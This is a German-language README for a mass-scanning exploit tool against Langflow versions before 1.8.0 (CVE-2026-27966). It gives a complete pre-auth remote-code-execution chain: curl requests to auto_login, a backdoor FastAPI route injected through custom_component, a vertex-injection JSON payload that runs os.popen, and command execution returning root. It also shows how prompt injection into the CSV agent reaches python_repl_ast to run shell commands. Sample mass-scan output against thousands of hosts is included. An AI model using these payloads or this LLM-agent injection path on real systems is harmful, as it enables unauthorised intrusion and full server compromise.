
Pre-auth RCE-Scanner für Langflow < 1.8.0 — Route Injection + Vertex Injection → Code Execution (CVSS 9.8)
CVE-2026-27966 ist eine kritische (CVSS 9,8) Remote-Code-Ausführungs-Schwachstelle ohne Authentifizierung in Langflow-Versionen vor 1.8.0. Die Schwachstelle beruht auf allow_dangerous_code=True, das im CSV-Agent-Komponenten hart codiert ist, und setzt damit LangChains python_repl_ast-Tool für nicht authentifizierte Prompt-Injection frei.
Darüber hinaus fehlt mehreren API-Endpunkten die ordnungsgemäße Authentifizierung, was ein direktes Einschleusen von Routen und Flow-Knoten ermöglicht – selbst wenn der CSV-Agent nicht konfiguriert ist.
| Langflow-Version | Status |
|---|---|
| < 1.8.0 | Verwundbar |
| >= 1.8.0 | Behoben |
Dieser Scanner testet drei verschiedene Angriffspfade:
GET /api/v1/auto_login → Session / API-Key abrufen
POST /api/v1/custom_component → Backdoor-Route registrieren
GET /api/{backdoor}?c=command → RCE
POST /api/v1/custom_component → Backdoor-Route registrieren
GET /api/{backdoor}?c=command → RCE
GET /api/v1/flows/basic_examples → Flow-UUIDs extrahieren (26 offengelegt)
POST /api/v1/build/{UUID}/vertices → bösartigen Vertex injizieren
POST /api/v1/run/{UUID} → Vertex-Code ausführen → RCE
In src/lfx/src/lfx/components/langchain_utilities/csv_agent.py ist im CSV-Agent-Knoten allow_dangerous_code=True hart codiert, wodurch automatisch LangChains python_repl_ast-Tool verfügbar gemacht wird:
agent_kwargs = {
"verbose": self.verbose,
"allow_dangerous_code": True, # hart codiert – kann nicht über UI deaktiviert werden
}
agent_csv = create_csv_agent(..., **agent_kwargs)
Dadurch kann jeder Prompt, der den CSV-Agent erreicht, beliebigen Python-Code ausführen via:
Action: python_repl_ast
Action Input: __import__("os").system("command")
Die Langflow REST-API stellt mehrere Endpunkte ohne Authentifizierung bereit:
Auf Instanzen, bei denen auto_login aktiviert ist (Standard in vielen Docker-Bereitstellungen), erhält ein Angreifer eine gültige Session und einen API-Key:
curl -sk 'https://target.com/api/v1/auto_login'
# Gibt Session mit access_token zurück → vollständiger API-Zugriff
Mit einem gültigen API-Key kann der Angreifer via POST /api/v1/custom_component eine Backdoor-FastAPI-Route registrieren, die bis zum Serverneustart im Speicher bleibt:
from fastapi import APIRouter, Query
router = APIRouter()
@router.get("/sh")
async def cmd(c: str = Query("")):
import os
return os.popen(c).read()
app.include_router(router, prefix="/api")
git clone https://github.com/shinthink/CVE-2026-27966.git
cd CVE-2026-27966
pip install -r requirements.txt
# Einzelnes Ziel
python cve_2026_27966.py -t ziel.com:7860
# Massen-Scan
python cve_2026_27966.py -f targets.txt
# Massen-Scan + Ergebnisse speichern
python cve_2026_27966.py -f targets.txt -o rce.txt
# Nur Erkennung (keine Ausnutzung)
python cve_2026_27966.py -f targets.txt --no-exploit
# Ausführliche Ausgabe
python cve_2026_27966.py -f targets.txt -v
-t, --target Einzelnes Ziel (IP:Port oder Domain)
-f, --file Zielliste, ein Ziel pro Zeile
-o, --output RCE-Ergebnisse in Datei speichern
--threads Gleichzeitige Worker (Standard: 30)
--no-exploit Nur Erkennung, keine RCE-Versuche
-v, --verbose Alle Ergebnisse anzeigen, auch Nicht-RCE-Ziele
$ python cve_2026_27966.py -t ziel.com:7860 -v
CVE-2026-27966 — Langflow RCE Scanner
CVSS 9,8 | Pre-Auth | Route Injection → RCE
Host : ziel.com:7860
Langflow : JA v1.2.0
Verwundbar: JA
API-Key : NICHT ERFORDERLICH
RCE : JA
Ausgabe : uid=0(root) gid=0(root) groups=0(root)
Zeit : 12.3s
CVE-2026-27966 Langflow RCE Scanner
Ziele: 4127 | Threads: 30 | Ausnutzung: EIN
-------------------------------------------------------
[RCE] 192.168.10.50 v1.2.0 7.3s
uid=0(root) gid=0(root) groups=0(root)
[AUTH] target.internal:4433 v1.2.0 14.1s (API-Key)
[500/4127] scannen... (12%)
-------------------------------------------------------
Gesamt: 4127 | Langflow: 47 | RCE: 3 | API-Geschützt: 41
-------------------------------------------------------
Schritt 1 — Langflow erkennen
curl -sk 'https://target.com/api/v1/version'
# {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}
Schritt 2 — Flow-UUIDs extrahieren
curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id'
# "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2"
Schritt 3 — Backdoor-Vertex injizieren
curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \
-H 'Content-Type: application/json' \
-d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\[email protected](\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}'
Schritt 4 — Befehl ausführen
curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a'
Eine erfolgreiche Ausnutzung ermöglicht Remote-Code-Ausführung als root im Langflow-Docker-Container. Von dort aus kann ein Angreifer:
NUR ZU BILDUNGSZWECKEN UND FÜR AUTORISIERTE TESTS.
Diese Software ist für Sicherheitsexperten bestimmt, die autorisierte Penetrationstests durchführen, für Organisationen, die ihre eigene Infrastruktur prüfen, und für Forscher, die das Ausnutzen von Schwachstellen untersuchen.
Unbefugter Zugriff auf Computersysteme ist illegal und kann gegen folgende Gesetze verstoßen:
- USA: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonesien: UU ITE Pasal 30 & 46
- Europäische Union: Richtlinie 2013/40/EU
- Vereinigtes Königreich: Computer Misuse Act 1990
Die Autoren übernehmen keine Haftung für Fehlgebrauch. Durch die Nutzung dieser Software übernehmen Sie die vollständige Verantwortung für Ihre Handlungen.
| Ressource | Link |
|---|
Dieses Projekt ist nicht mit Langflow oder Logspace verbunden.
| Endpunkt | Authentifizierung | Offengelegte Daten |
|---|
GET /api/v1/version | Keine | Langflow-Version |
GET /api/v1/health | Keine | Instanzstatus |
GET /api/v1/flows/basic_examples/ | Keine | 26 Beispiel-Flow-UUIDs + Struktur |
POST /api/v1/build/{uuid}/vertices | Keine | Akzeptiert beliebige Code-Injection |
POST /api/v1/users/ | Keine | Benutzererstellung (inaktiv) |
GET /openapi.json | Keine | Vollständige API-Dokumentation |
| Metrik | Wert |
|---|
| Angriffsvektor | Netzwerk (remote) |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
| Auswirkungsbereich | Unverändert |
| Vertraulichkeit | Hoch |
| Integrität | Hoch |
| Verfügbarkeit | Hoch |
| GitHub Advisory | GHSA-3645-fxcv-hqr4 |
| Fix-Commit | d8c6480d |
| Metasploit-Modul | Rapid7 |
| NVD-Eintrag | CVE-2026-27966 |